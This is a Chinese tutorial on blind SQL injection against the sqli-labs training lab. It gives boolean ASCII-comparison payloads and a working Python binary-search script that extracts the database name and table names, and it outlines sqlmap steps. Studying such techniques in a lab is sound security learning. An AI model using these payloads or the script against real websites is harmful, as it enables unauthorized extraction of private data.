渗透之sql盲注

sql盲注:sql盲注意思是我们并不能在web页面中看到具体的信息,我们只能通过输入的语句的真假来判断。从而拿到我们想要的信息。

我们通常使用ascii值来进行盲注。

目录

手动注入:

脚本注入:

使用sqlmap工具注入:


手动注入:

1语句1:这里的意思为当数据库的第一个字符的ascii码值为116时为真。下面的web界面可以判断出我们输入的这一条语句为假。所以数据库第一个字符的ascii码值不为116。

id=1' and ascii( substring(database(),1,1))=116 --+

2语句二:这里的意思为当数据库的第一个字符的ascii码值为115时为真。从下面的web界面可以判断出我们输入的这一条语句为真,那么数据库的第一个字符为"s"。

  • "s"对应的ascii码值为115

id=1' and ascii( substring(database(),1,1))=115 --+

复制代码
substring解释:

substring(database(),1,1):表示从数据库第一为开始截取一个字符
substring(database(),2,1):表示从数据库第二位开始截取一个字符
.
.
.
substring(database(),n,1):表示从数据库第n位开始截取一个字符

总结:我们就可以通过这样的语句来一个一个字符的将它注入出来。不过手动注入麻烦代价又大,所以我们一般会写一个脚本来注入。

脚本注入:

我们使用python脚本注入:

这个python脚本使用的是二分查找。

python 复制代码
import requests
url="http://sqli-labs:8848/less-5/?"
def sql_inject(url):
    name=" "
    for i in range(1,100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
#            查数据库名
#           urs = "1' and ascii( substring(database(),%d,1)) > %d -- " %(i,mid)
#            查数据库中所有的表名
            urs = "1' and ascii(substring((select group_concat(table_name) from information_schema.tables  where table_schema='security'),%d,1)) > %d -- " %(i,mid)
            res = {"id":urs}
            r = requests.get(url,params=res)
            if "You are in..........." in r.text:
                low = mid+1
            else:
                high = mid
            mid = (low +high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
sql_inject(url)

运行结果1:将数据库名注入出来

运行结果2:将所在数据库的表注入出来

使用sqlmap工具注入:

1.运行sqlmap.py

2.注入所有数据库名

3.注入所在数据库中的所有表名

4.查所在表的列名

5.查所在列的具体值

相关推荐
stark张宇1 小时前
MySQL 核心内幕:从索引原理、字段选型到日志机制与外键约束,一篇打通数据库任督二脉
数据库·mysql·架构
倔强的石头_1 小时前
融合数据库架构实践:关系型、JSON与全文检索的“一库多能”深度解析
数据库
星辰员3 小时前
KingbaseES数据库:ksql 命令行用户与权限全攻略,从创建到删除
数据库
华仔啊16 小时前
千万别给数据库字段加默认值 null!真的会出问题
java·数据库·后端
随风飘的云2 天前
MySQL的慢查询优化解决思路
数据库
IvorySQL2 天前
PostgreSQL 技术日报 (3月7日)|生态更新与内核性能讨论
数据库·postgresql·开源
赵渝强老师2 天前
【赵渝强老师】金仓数据库的数据文件
数据库·国产数据库·kingbase·金仓数据库
随逸1772 天前
《Milvus向量数据库从入门到实战,手把手搭建语义检索系统》
数据库
神秘的猪头2 天前
🚀 React 开发者进阶:RAG 核心——手把手带你玩转 Milvus 向量数据库
数据库·后端·llm
IvorySQL3 天前
PostgreSQL 技术日报 (3月6日)|为什么 Ctrl-C 在 psql 里让人不安?
数据库·postgresql·开源